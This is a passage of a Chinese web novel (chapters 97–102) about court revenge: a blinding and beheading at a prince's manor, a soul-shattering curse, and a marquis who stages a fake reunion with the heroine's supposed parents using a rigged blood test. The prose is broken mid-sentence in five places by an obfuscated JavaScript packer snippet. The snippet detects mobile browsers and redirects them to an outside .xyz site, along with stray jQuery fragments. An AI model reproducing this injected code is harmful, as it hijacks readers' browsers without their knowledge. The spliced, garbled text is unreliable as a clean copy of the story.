“唉,谢世孙虽说被贬为庶人,圈在王府高墙里,可听说府里吃穿用度,一样没减,不过是换个地方享福罢了。”
“小的今日路过醉花楼的巷子,那地方真是晦气。也不知是哪个天杀的歹人,害得公子您平白丢了只眼睛!您这左眼,原本多俊俏啊。满京城多少姑娘都想嫁给您,如今……唉……”
“当初要不是那王八羔子先惹事,您怎么会落得如今这幅下场。他倒好,事后还把屎盆子扣您头上,往死里作践您,着实可恨。”
……
这些话语隔三差五就出现在晏明修耳边,如同淬了毒的细针,一次次精准地扎在晏明修心头最痛、最恨、最**的地方。
他那只空洞的左眼眶,似乎又开始隐隐作痛。
当日画舫上的混乱、剧痛还有在王府里谢锦程狰狞的辱骂和百般羞辱的画面,混杂到了一起。
恨意在他脑子里翻腾,一股邪火直冲头顶。
晏明修脑子里叫嚣着一个念头:
他要去见谢锦程,现在就去!
他要让那个阶下囚也尝尝生不如死的滋味。
*
昭瑞亲王府。
得知晏明修登门,昭瑞亲王有些惊讶。
他没想到晏明修竟然还敢来。
当初孙儿做的那些事,他倒也略知一二,他还以为晏明修这辈子都不会再踏入他们王府了。
“我与锦程是至交好友,我有些话想对他说。”晏明修忍着恨意,面上不显。
“难得锦程有你这样一个好友。”昭瑞亲王像是看不出他来者不善,脸上依旧带着和善的笑。
他给了护卫一个眼神。
“带他去见小少爷吧。”
在晏明修转身后,他轻声对另一个护卫吩咐了一句话:“若少爷喜欢,就想办法将他留下。”
护卫点头,领着晏明修去见了谢锦程。
谢锦程被幽禁在王府的偏院。
那院子高墙深锁,只留一扇厚重的铁门,上面开了个送饭的小窗。
几个皇上派来的侍卫面无表情地矗立在铁门前。
护卫告知了他们晏明修的身份和昭瑞亲王的吩咐,他们这才同意打开小窗。
小窗里光线昏暗,弥漫着一股颓败的气息。
片刻后一张苍白憔悴、胡子拉碴的脸出现在小窗后,正是谢锦程。
他眼神浑浊,但在看清窗外是晏明修时,猛地爆发出怨毒又兴奋的光。
他没了命根子,又被关在偏院里,刘芳草生下的孩子还不是他的。
他一辈子都毁了,再也没办法传宗接代。
而晏明修如今除了脸上戴着一个黑色的眼罩,旁的与常人无异,他心里又恨又羡慕。
他露出一抹冷冷的笑:“晏明修,怎么又来找小爷?难不成你还惦记着玄雷与你欢好的滋味?”
“哟,那可真不巧了,玄雷如今不在小爷手里,满足不了你。”
晏明修浑身血液瞬间冻住。
他脸色骤变,由白转青再涨成骇人的紫红,厉声嘶吼:“你住嘴!”
声音尖利得破了音,带着他自己都未曾察觉的恐慌。
周围跟随的侍卫和看守听到这话,先是茫然,随即眼中瞬间爆发出难以置信的惊骇和一丝难以言喻的鄙夷。
他们都知道玄雷。
那是谢锦程被贬前豢养的一条凶悍大黑犬,如今被昭瑞亲王接去养了。
他这话里的意思……
简直令人作呕。
他们看向晏明修的表情,变得有些难以形容。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699649|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
耻辱如同滚烫的岩浆,瞬间吞噬了晏明修所有的理智。
他脑子里只有一个念头在疯狂咆哮,盖过了一切声音:杀了他!
只要把谢锦程杀了,这件事就再也不会有旁人知道了。
杀了他!杀了他!杀了他!
这念头如同魔咒,瞬间点燃了他骨子里所有的暴戾。
“怎么不说话?是不是要我帮你回忆一下那销魂的滋味,你……”谢锦程那张苍白扭曲的脸挤在小窗后,饶有兴味地继续说着。
然而,他剩下的话,永远卡在了喉咙里。
就在谢锦程的“你”字刚出口的瞬间,晏明修动了。
他将藏在袖中的右手闪电般探出,紧握着一柄**狠狠朝着谢锦程的眼睛刺了进去。
“呃啊——!!!”
一声惨嚎猛地从铁窗内炸开。
鲜血从谢锦程被刺破的眼眶里迸射而出。
他整个人猛地向后倒去,双手死死捂住那被**贯穿的左眼,身体在地上剧烈地抽搐、翻滚。
“去阴曹地府当你的太监吧!”晏明修唇角咧开,沾着几点谢锦程溅出的鲜血,扯出一抹残忍而满足的狞笑。
“哈哈哈哈哈。”
他爆发出疯狂的大笑,声音在空气中回荡,充满了扭曲的快意。
“谢锦程!睁开你那剩下狗眼看看!你一个被锁在笼子里的废人太监,也配笑我?!你比我强在哪里?!啊?!”
周围的人都懵了。
晏明修的动作太过突然,也太快、太狠,他们根本来不及做出任何反应。
直到谢锦程那凄厉到变调的惨嚎炸响,所有人才像被冷水浇头般猛地惊醒。
“快!快拦住他!”
“开门!救人啊!”
“去请大夫!快!要最好的伤科大夫!”
守卫和护卫手忙脚乱地行动了起来。
而被控制住的晏明修却还在咒骂谢锦程是“死太监”。
铁窗内的谢锦程忍无可忍,哀嚎了起来:“杀了他,让他给我陪葬。”
就算是要下地狱,他也要拉着晏明修一起。
第98章 魂魄被打散
王府护卫将晏明修按着跪在地上,让他给谢锦程磕头。
晏明修脑袋渐渐冷静了下来。
看着周遭来来往往的人,他知道自己遭遇的那些恶心经历是彻底瞒不住了。
他这样活着也毫无意义。
倒不如跟谢锦程一块**。
他扭头用力咬了一口按住他护卫的手腕,那护卫痛呼一声下意识地松了手。
脱身的晏明修猛地扑向了谢锦程,想要掐死他。
“死太监,你**吧。”
但王府护卫的动作比他更快。
见他要对谢锦程不利,当即一刀了结了晏明修。
晏明修睁着大大的眼,似乎还没反应过来自己的脑袋和脖子分了家。
他的脑袋咕噜噜滚到了谢锦程面前。
“呵忒。”
谢锦程捂着左眼,狠狠地往晏明修的脸上吐了口混着血的唾沫,而后彻底撑不住晕了过去。
晏明修的死讯根本瞒不住。
今日在场的除了王府的护卫,还有皇上派来的守卫。
此事他们第一时间告知了文昭帝。
文昭帝没想到谢锦程竟然还做了这么恶心的事情,他脸上流露出一丝嫌弃。
昭瑞亲王怎么教的孩子,竟然让孩子成了这样的禽兽。
谢锦程如今乃是一介庶人,被幽禁后没有半点悔改之心,还害**勋爵之子。
此事不可能轻拿轻放。
否则定远侯和年后即将上任的工部尚书温如璋都不会善罢甘休。
文昭帝一道圣旨,直接赐了毒酒送到昭瑞亲王府。
昭瑞亲王一听这旨意,如遭重锤猛击颅顶,眼前骤然漆黑,天旋地转。
他高大身躯猛地一晃,重重砸倒在地。
他的半边脸孔肉眼可见地歪斜抽搐,口水混着血丝不受控制地从嘴角淌下。
仆从们魂飞魄散的扑了上来,赶忙派人去请太医。
就这样,昭瑞亲王连孙儿最后一面都未能见到,彻底中风了。
晏逐星没想到事情发展得这么迅速。
晏明修竟然就这样**?
她当即派人去打听了当时是个什么情况,这才知道晏明修生前被困在昭瑞亲王府时遭遇了那样的事情。
她愣了片刻,唇角勾起了一抹笑。
这样的消息,怎么能瞒着温如霜这个亲娘的呢。
于是她径直去了找温如霜。
“你还不知道晏明修生前是怎么被谢锦程**的吧?”晏逐星勾起唇角,将打探的消息一字一句吐了出来。
温如霜如遭雷击,脸色瞬间惨白,摇摇欲坠。
“我的儿啊……”她齿间渗血,声音嘶哑,眼中恨意滔天,恨不得立刻提刀杀去昭瑞亲王府。
先是失去了爱女的消息,又收到了嫡子被虐杀的噩耗,温如霜原本就残败不堪的身子哪里经受的住这样的打击。
见到晏明修遗体的那一刻,她再也撑不下去,晕**过去。
定远侯只觉得面上无光,感觉走到哪都有人在背后议论晏明修的死。
他痛恨谢锦程的恶毒,又痛恨晏明修的不知羞耻。
发生了那样的事情,不以死谢罪保全家族名声就算了,竟然还让这事宣扬了出去。
眼看温如霜又被打击得晕厥,他心里暗暗着急。
也不知道他要找的人,什么时候才能找到。
可千万别等温如璋来了京城才找到呀。
*
定远侯府一片萧瑟,昭瑞亲王府也没好到哪里去。
谢清安先替被毒杀了的儿子收尸,而后又命人伺候好中风的父王,他的夫人经受不住这样的打击也病倒了。
整个王府上下,都靠他撑着。
他心里的怒火怎么也熄不下去。
一切都怪晏明修。
他若不来这一趟,儿子又怎么会被皇上赐死。
只是砍掉了他的脑袋,真是太便宜他了。
“去,请明妄道长来。”谢清安声音冰冷,不带一丝波澜。
他要将晏明修的魂魄彻底打散,永世不得超生,永堕轮回苦海,不得解脱。
当夜,枯瘦如鬼的明妄道长带着法器进了王府偏院。
不一会儿,法坛便设好了:院中挂着几缕黑幡,法坛中央供着晏明修的生辰八字与一缕贴身之物。
明妄口中念念有词,片刻后,他抓起一把黑色粉末撒入面前的火焰之中,腾起阵阵腥臭的黑烟。
紧接着,他用手指蘸着混合了尸油和朱砂的暗红浆液,在黄符上飞快画了道扭曲的符咒,猛地拍在写有晏明修名字的草人头上。
“破!”
一声凄厉断喝,草人无火自燃,瞬间化为飞灰。
明妄眼中幽光一闪,嘶声道:“成了。此子魂魄已碎如齑粉,再无聚合之机,生生世世,永受轮回之苦。”
谢清安嘴角扯出一丝残酷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699650|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的笑,点了点头。
他随即招来心腹,指着法坛上晏明修的遗物和那草人烧剩的灰烬,冷声道:“把这些东西和晏明修魂飞魄散的消息,送去定远侯府让他们好好看看。”
“告诉他们,这只是个开始。我要定远侯府上下,今生来世,休想安宁。”
谢清安的心腹下属完美地执行了他的命令,拿着东西来定远侯府转了一圈,放下了狠话转身就离开。
定远侯气得牙痒痒的,恨不得立刻去找谢清安算账。
但老王爷已经中风在床,命不久矣。
谢锦程也已经偿命,他再上门去闹,恐怕也讨不了什么好果子吃。
再说了,谢清安只是让人拿着东西来他面前炫耀了一圈,什么也没留下。
他这根本就是告无可告。
“可恶——!”定远侯只觉得侯府近来实在是不顺得很。
再这样下去,恐怕全京城都要觉得他们晦气了。
不行,他必须要快点让温如霜出来顶罪。
谢清安的心腹离开没多久,晏逐星也收到了这个消息。
她想起了上辈子晏明修给温如霜提的建议——
“明月这几日总是睡不好,说一闭眼睛就能梦到晏逐星血淋淋的来吓唬她。”
“咱们还是请个大师把她的魂魄打碎了吧,这样她便不敢再来纠缠了。”
如今,倒是他被打了个魂飞魄散。
这真是因果轮回,报应不爽啊。
得知晏明修魂魄被打散后,温如霜的身子是一天不如一天。
定远侯一反常态,竟亲自守在温如霜病榻前,端汤送药,事事亲力亲为。
京城里有名的大夫更是被他挨个儿请了个遍,侯府的门槛都快被各路名医圣手踏破了。
没过多久,这事儿就在京城里传开了。
茶楼酒肆、街头巷尾,人们都在议论,都说定远侯对那位重病的夫人不离不弃,是难得的情深义重之人。
一时间,定远侯爱妻如命、重情重义的美名,传遍了整个京城。
晏逐星冷眼旁观着,她心里很清楚,定远侯越是殷勤,温如霜的死期到得也就越快。
只是不知道定远侯给温如霜安排了一个什么样的死法?
眼看就要到了小年夜,算算时间,晏明远也快从青州回来了。
但令晏逐星没想到的是,比晏明远来得更快的是她的亲生父母。
第99章 亲爹娘找来
年关将近,侯府冷冷清清,丝毫没有要过年的气氛。
晏逐星却打算好好过个年。
毕竟这是她重生归来的第一个年,要好好过,往后的日子才能红红火火。
因而在小年夜的前一天,她领着九栀和双鲤出门去逛街,打算亲自置办一些年货。
正踏进一家糕点铺子,就听见身后传来一声带着哭腔的、颤抖的呼唤:“星儿!是我的星儿吗?”
晏逐星诧异地回头,只见一对约莫四十余岁、衣着整洁体面却不显富贵的夫妇,正激动地望着她。
四目相对之际,妇人蓄满的泪水滚滚而下。她身旁的男子,此刻也激动得嘴唇哆嗦,不住地用袖子擦拭眼角。
“丫头!爹娘可算找到你了!这些年我们想得你好苦啊!”妇人再忍不住,踉跄着就要扑上来抓晏逐星的手,引得周围路人纷纷侧目。
晏逐星心头猛地一跳,心中瞬间涌起巨大的疑虑。
她不动声色地后退半步,避开了妇人伸来的手,清亮的眼眸里没有丝毫动容,只有审视和警惕。
亲生父母?
重生后她一直在暗查自己的身世,然而线索寥寥无几,至今没有任何头绪。
如今却突然当街冒出这么一对自称是她生身父母的夫妇。
她总觉得此事透着一丝古怪。
“你们是什么人?休要在此胡言乱语,攀扯我家小姐!”双鲤柳眉倒竖,一个箭步上前,将晏逐星牢牢护在身后。
她扫视着这对哭天抢地的夫妇,板着小脸道:“光天化日,哭哭啼啼就想认亲。怕不是哪里来的拐子?”
那妇人被双鲤厉声呵斥,又见晏逐星目光冷漠,顿时悲从中来,哭嚎声拔高了几度:“星儿!你看看娘!你当真不认得娘了吗?”
男子连忙用力搀扶住哭得浑身发软、几乎要瘫倒在地的妻子,自己也红了眼眶,声音沙哑地劝道:“孩他娘,你莫要这样,仔细吓着孩。都怪我……当年星儿丢失时还小,记不得咱们也是情理之中。”
他语气充满了无奈和心疼,试图安抚妻子,目光却殷切地望向晏逐星。
周围支棱着脖子看热闹的百姓越聚越多,嗡嗡的议论声四起。
这种当街认亲的戏码,谁不爱看?
男子深吸一口气,转向周围越聚越多的看客,抱拳扬声道:“诸位街坊邻里,在下关万海,在通州开着‘万海布匹行’,做了十几年本分生意,街面上不少老主顾都认得关某。今日寻回失散多年的骨肉,实在是情难自禁,绝非歹人。若有叨扰,还请诸位多多包涵!”
人群里,有人认出了定远侯府的马车,嚷嚷了起来:“这位是定远侯府的大小姐。你可有证据证明人家是你的女儿?”
“自然是有的!”那自称关万海的男子忙不迭点头。
“我的女儿左耳耳垂后边有一颗红痣。而且,她这模样和小时候长得几乎一模一样,我怎么会认错自己的女儿。”
晏逐星下意识地摸了摸自己的左耳,确实有一颗小小的痣。
“这也不能证明什么呀,耳朵有痣的人多了去了。焉知你们不是早早打听好,特意来认亲的。”双鲤果断反驳。
关万海急切地看向晏逐星:“关某确是你的亲生父亲啊。当年我带着你去青州行商,都怪我一时疏忽,竟把你弄丢了!你走丢时,手上还带着你娘给你打的金手镯呀。”
他说到这里,声音猛地拔高,充满了痛苦和悔恨,手指着身旁哭得几乎站立不稳的妇人。
“自那日起,你娘她日夜以泪洗面,人也差点跟着去了啊。”
妇人听到这话,猛地爆发出更凄厉的哭声。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703379|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>关万海将她揽到怀里,深吸一口气,声音带着劫后余生的颤抖:“这些年我们散尽家财,托人四处打听,从未有一日放弃过寻你。苍天有眼!菩萨保佑!今日终于是让我们找到你了。”
“唉哟,听听!通州开着布庄的东家,怎么可能是坏人。还给闺女打了金手镯,一听就是疼爱孩子的好人家。这遭的什么罪哟。”
人群里一个心软的婆子已经抹起了眼泪。
“可不是嘛!丢了孩子十几年,好不容易找着了,亲闺女却杵着不动,连句话都没有……”
旁边立刻有人接话,语气带着明显的不赞同和窥探到侯府秘辛的兴奋。
“啧,这不明摆着吗?”
一个尖细的声音带着了然和讥诮响起。
“人家现在可是金尊玉贵的侯府大小姐。谁还乐意认回那开布庄的爹娘?这不是自降身份嘛。”
“就是就是。商贾之女,哪比得上侯府嫡女体面?换我,哼,我也得掂量掂量。”
人群中议论纷纷,将一直没有开口的晏逐星几乎是架到了火上烤。
晏逐星几不可察地蹙起了眉心。
耳后红痣、青州走失、手戴金镯子。
这夫妇二人抛出的细节,倒是全都和她知晓的线索对上了。
这巧合未免太过精准。
难不成他们真的是她的亲生父母?
然而,看着眼前这对哭得撕心裂肺、几乎要肝肠寸断的夫妇,她心底却没有任何的波动。
她总觉得此事透着说不出的古怪。
压下心底翻涌的疑虑,晏逐星清冷的眸子扫过关万海夫妇,又掠过周围指指点点的看客,终于开口:
“事关重大,空口无凭。”
“二位既言之凿凿,便随我一同回侯府,当面同侯爷禀明原委。此事真伪,自有侯爷决断。”
第100章 滴血验亲成
“自然是没问题的。”关万海连忙点头。
而后,晏逐星领着他们一块回了定远侯府。
“你们是什么人,三言两语就要抢走我的女儿么?”定远侯听到晏逐星的亲生父母上门认亲,怒气冲冲地赶了过来。
关万海夫妇被他吓得浑身一抖,扑通一声重重跪倒在地,额头紧贴着冰凉的地砖,发颤着求饶:“侯爷息怒!草民万万不敢同侯府抢人啊!”
关万海急切地开口:“侯爷明鉴。草民夫妇苦寻女儿多年,风餐露宿,耗尽家财,所求不过是有生之年能亲眼见她安好,便心满意足了。”
他重重磕了个头,再抬起头时,已是泪流满面,声音哽咽却异常清晰。
“只要她能过得好,无论她认不认我们,我们都不会有半分怨言。只求侯爷开恩,时不时容我们远远地看上她一眼,就……够了。”
他言辞恳切,又将自己的地位摆得极低,让定远侯熄了几分怒气。
他冷哼一声:“你既口口声声说星儿是你们的女儿,那便滴血认亲吧。”
定远侯给管家使了个眼色,不一会儿,管家便亲自端着一个红漆托盘返回。
托盘上,两盏盛着清澈泉水的白瓷碗摆放端正,旁边搁着几根寒光闪闪的崭新银针。
定远侯的目光状似无意地掠过那两碗清水,最后看向关万海夫妇:“你们二人,各取一滴血,滴入碗中。”
关万海颤抖着刺破了手指,将血滴入其中一个碗,他的夫人则滴到了另一个碗里。
定远侯又看向了晏逐星:“星儿,该你了。”
晏逐星面无表情地拿起一根银针,毫不犹豫地刺破指尖,殷红的血珠滚落,精准地滴入两个水碗当中。
血滴在清澈的水中晕开,像一朵小小的红梅。
四人的目光全都死死盯住了那两只白瓷碗。
晏逐星滴下的那两滴血,与关万海夫妇先前滴入的血液,如同被无形的力量牵引,在水中只微微浮动了一下,便迅速地、毫无阻碍地融合在了一起。
关万海夫妇先是一愣,随即爆发出惊天动地的狂喜哭嚎:“老天开眼啊!咱们真找到女儿了。侯爷,您看见了吗?她就是我们的亲骨肉啊!”
两人抱头痛哭,仿佛卸下了千斤重担,激动得几乎要昏厥过去。
定远侯看着碗中那融合无间的血水,嘴角几不可察地勾起一丝笑意,随即隐去。
那水碗里,他命人加了明矾。
今日不管是什么人的血滴在里边,都会融合到一起。
目光收回,他严肃地盯着关万海夫妇:“你们既是星儿的生身父母,本侯也不会阻拦你们见她。只不过,星儿是本侯的女儿,谁也休想带走她。”
“是,侯爷。”关万海夫妇连忙点头应下。
定远侯随即吩咐管家:“去告诉夫人,大小姐的亲爹亲娘寻着了,今晚一同用膳。”
“是。”管家领命而去。
关万海夫妇又惊又喜,万万没想到侯爷竟肯与他们同桌用膳。
而后定远侯又看向了晏逐星,目光满是慈爱。
“星儿,你同你的爹娘说会儿话吧。”
晏逐星点了点头,没有拒绝。
滴血验亲虽然成功了,但她心里依旧保持着警惕,并没有轻易相信两人的身份。
毕竟他们出现的时机太微妙,提供的线索又太精准。
“你们随我去院子里坐坐吧。”晏逐星领着两人去了玉澜院。
一路上,关万海夫妇按捺不住四下张望,心头暗暗感慨:侯府果然不是他们商贾门第可比的。
一个嫡女的院子都这么气派,那定远侯应承他们的那件事,应该也能实现吧?
“坐。”晏逐星命人给他们搬来了椅子。
两人略显拘谨地坐下。
“家里的情况,还有小时候的事情,我记不太清了,你们给我讲讲吧。”晏逐星挑起了话题。
关万海和妻子对视一眼,都看到了彼此眼中的如释重负。
不记得好啊,若是记得,他们这对冒牌货就要被拆穿了。
关万海扭头看向晏逐星,笑道:“没事,忘了也没关系。日后咱们相处的机会还多着呢。”
“是啊是啊。”关万海的妻子杨氏跟着点头。
关万海喝了一口茶,给晏逐星介绍起关家的情况。
“你本名叫关星,你有三个姐姐和一个弟弟。你大姐叫关霞,二姐叫关云,三姐叫关月,最小的弟弟叫关曜。”
“你的几位姐姐都已经出嫁,如今只有你弟弟陪在我们身边。”
晏逐星打断了他们的话。
“姐姐们出嫁,都给了多少陪嫁?”
关万
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703380|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
海夫妇被她这直白的问话打得措手不及。
两人心里都有些不满。
都当上侯府嫡女了,怎么还惦记着他们出的嫁妆。
埋怨归埋怨,但面上却是不显。
关万海清了清嗓子,脸上堆起笑:“咳,咱们家虽然行商,但你也知道,小本买卖赚的都是辛苦钱。你那三个姐姐出嫁,我们也是尽力张罗了体面。”
“一人一口刷了红漆的松木箱子,看着喜庆。里头还装了十匹细棉布,另外还给了一套鎏金的头面,簪子耳坠看着黄澄澄的,倒也光亮。女儿家嘛,有个嫁妆样子,婆家看着不寒碜就行了,过日子还得靠她们自己。”
“我和你娘,一视同仁,三个姐姐都给了那么多东西。不偏不倚。”
晏逐星若有所思,没有接话。
关万海见她似乎不满意,忙道:“不过等你出嫁时,我和你娘定然会给你准备更多的嫁妆。毕竟你这些年不在我们身边,是我们亏欠了你。”
一旁的杨氏跟着补充:“对,到时候我们额外给你补一套赤金的头面,再给你补一百两压箱底的钱,绝对不会让你的婆家看轻了你。”
“我走丢时手上戴的金镯子,长什么样,你们还记得吗?”晏逐星冷不丁地问了出来。
杨氏见晏逐星盯着她,猛地坐直了身子,抹着眼泪哽咽道:“当然记得。这十几年来,娘一刻也不敢忘,生怕日后见到你认不出来。”
她颤抖着手比划着,仿佛那小小的金镯就在眼前。
“那是你周岁时,我特意请通州最好的匠人打的。赤金的镯子,镯身中间镶着一块宝石……”
“是块孔雀蓝的琉璃!”关万海嘶哑地接上话,声音带着压抑的激动,“有指甲盖大小,透亮透亮的。那是我从琉光商人手里淘换来的稀罕物。”
杨氏跟着用力点头,泪水涟涟:“为了配那块宝石,我特意让匠人在周围錾了圈缠枝莲纹,又用小金珠镶了一圈边,精巧极了,谁见了都要夸一句精妙绝伦。”
“我走丢时,弟弟几岁?”晏逐星忽然调转了话题。
关万海夫妇完全没想到她会问这个,下意识地回答:“一岁。”
晏逐星笑了。
虽然这两人形容的镯子和她从温如霜那里要来的一模一样,但她还是发现了破绽。
第101章 发现破绽了
从关万海夫妇给三个女儿的嫁妆就能看出来,他们对女儿的疼爱十分有限。
关家做了十几年布匹买卖,陪嫁就只给十匹细棉布,连一匹绫罗绸缎都舍不得搭上。
这哪是添妆?
分明就是舍不得掏真金白银的好料子,故意糊弄人。
至于所谓的鎏金头面,更是中看不中用。
面上不过是薄薄一层金粉,看着黄澄澄亮闪闪的,但稍不留神磕碰一下,金粉就会哗啦啦往下掉。
恐怕没几日功夫,底下那廉价的白铜底子就得露出来。
到时候还不知道他那几个女儿在婆家要被人怎么嘲笑呢。
最荒谬的是,他们竟然连一文钱的压箱银都没给女儿。
那可是女子在婆家安身立命的底气。
手头没点活钱,遇上婆家刁难,或是自己身子不爽利想抓副药,哪怕想私下贴补点家用,都得看人脸色,仰人鼻息。
关万海夫妇连这点最实在的保障都舍不得给闺女,他们会舍得给她打赤金嵌琉璃的镯子?
简直是痴人说梦。
再说了,她走丢那会儿,关曜都一岁了。
那么好的金镯子,怎么可能轮到她,九成九是要落到他们宝贝儿子手里的。
他们之前说的那些,全是谎话。
十之**,是有人在背后指使了关万海夫妇,故意找上她来认亲。
知道那镯子模样的,除了温如霜,恐怕就只有定远侯了。
他们突然下这么一步棋,究竟图什么?
晏逐星细细思索了起来。
关万海夫妇见她问完那句话后,忽然无声地笑开,之后便一直沉默不语,心里顿时直打鼓。
坏了,难道他们哪句话露了马脚么?
这时,温如霜院子里的丫鬟急急忙忙地跑来通传:“大小姐,不好了,夫人晕倒了。侯爷请您和关家老爷和夫人一块去一趟。”
关万海夫妇愈发紧张了。
晏逐星知道他们是冒牌货之后,愈发淡定了。
“走吧。”
她起身跟着丫鬟往外走。
关万海夫妇赶紧跟了上去。
人还没进院子,李氏那撕心裂肺的惨嚎就先钻进了耳朵。
晏逐星定睛一看,李氏此刻正被两个粗壮仆妇死死按在地上。碗口粗的竹杖一下下结结实实砸在她腰臀上,发出沉闷的“砰砰”声。
“当初是夫人瞧见大小姐生得可爱,正、正巧二小姐又丢了……这才把人给抱回来的啊!”
她疼得脸都扭曲了,断断续续地哭喊,试图辩解,“侯爷饶命,老奴说的句句是实话啊!”
李氏凄厉的惨叫声在院子上空打着旋儿,听得人头皮发麻。
跟在晏逐星身后的关万海,一听这话,双目瞬间变得赤红,额头青筋暴起,整个人如同被点燃的炮仗,怒吼一声:“怪不得一转眼我的女儿就不见了,原来是你们搞的鬼!”
话音落下,就饿虎扑食般的朝地上的李氏扑了过去。
他狠狠掐住李氏的脖子,死命用力:“我要报官!报官!”
李氏被掐得眼珠暴突,面色迅速涨红转青紫,看起来几乎马上就要断了呼吸。
她从牙缝里艰难地挤出一个破碎的句子:“大、大小姐……救……救命啊……”
晏逐星冷眼旁观,没有开口。
“在侯府**,谁给你的胆子。”一旁的定远侯厉呵一声,护卫们一拥而上将关万海和李氏分开。
关万海猛地攥紧拳头,大吼道:“我的女儿是被侯府夫人硬生生拐走的!根本就不是我弄丢的!”
他死死盯着前方,目光带着滔天的恨意,像是要穿透窗户杀了里边的温如霜。
“就算她是侯府夫人又如何?她必须血债血偿!若这天下无人敢管,我就去告御状!撕破这天也得讨个公道!”
“你冷静冷静,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709071|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这事咱们可以好好商量……”定远侯焦急地开口劝阻。
关万海愤愤道:“没有什么可商量的。整整十几年骨肉分离,日夜煎熬。这笔血债,都算在她头上!她赖不掉!”
说罢便扯着夫人杨氏的手,快步往外跑去。
“诶!站住!不许走!”定远侯猛地抬脚作势要追,手臂伸得老长,喊得也煞有介事。
可院里的护卫仆从,个个跟钉住了脚似的,眼观鼻鼻观心,没一个真的动弹。
直到关万海夫妇身影消失在眼前,定远侯方才怒吼一声:“愣着干嘛,还不赶紧去追。”
那些护卫们才慢吞吞地追了上去。
晏逐星瞧着这装腔作势的一幕。
心下顿时明了。
今日这出“认亲”的荒唐戏码,从头到尾,都是定远侯亲手安排的一出好戏。
她隐隐猜到了定远侯想要做什么。
她没说话,静观其变,看看定远侯接下来还要怎么演。
定远侯转过身,脸上瞬间堆满了沉痛与愧疚。
他步履沉重地走向晏逐星。
“星儿啊……”他伸出手,似乎想拍拍她的肩膀以示安抚,却又在看到她眼神时讪讪收回。
“当初是温氏独自回娘家省亲,我公务在身,并未随行。她抱你回来时,只说是路上捡的孤女。我信了她,真以为你是无家可归的孤儿,想着侯府家大业大,养你一个孩子也不费事,权当是做件善事积德。”
他重重叹了口气,眼圈微微发红,显得懊悔无比。
“可我万万没想到她竟是如此歹毒,故意拐了你来,害得你与亲生父母骨肉分离整整十余载。爹对不住你,对不住关家啊!”
晏逐星看明白了他唱的哪一出,配合地露出了一抹惊惶无助的神色。
“呜呜呜,父亲,那现在怎么办,若关家人真要状告母亲,那咱们侯府的名声可就全毁了呀。”
第102章 坐实她罪名
“莫叫她母亲!”一提到温如霜,定远侯脸色瞬间铁青,“她不配!”
“我定远侯府,没有这等丧德败行的主母!”
他斩钉截铁地跟温如霜划清了界限。
听到他急于撇清的话,晏逐星心底最后一丝疑虑也散了。
原来如此。
他是要坐实温如霜“拐带孩子”的弥天大罪。
一个身负重罪、声名狼藉的**,自然不配再占着侯府主母的尊位。
“好了。”定远侯脸色稍缓,甚至带上一点刻意的温柔。
他伸手拍了她肩头两下,又道:“你先回自己院子歇着。外头的事自有爹处置,你什么都别管,只消记住一点——”
“你永远都是我定远侯府堂堂正正的大小姐。”
话说完,便示意她离开。
“是。”晏逐星垂下眼睫,顺从地应了一声,干脆利落地离开了。
定远侯冷冷瞥了一眼地上只剩半口气的李氏,嫌恶地移开目光,声音不带一丝温度:
“把这老狗拖去柴房,锁严实了。什么时候温氏认罪画押,什么时候再放她出来。”
约莫一刻钟后,被生生气晕过去的温如霜悠悠转醒。
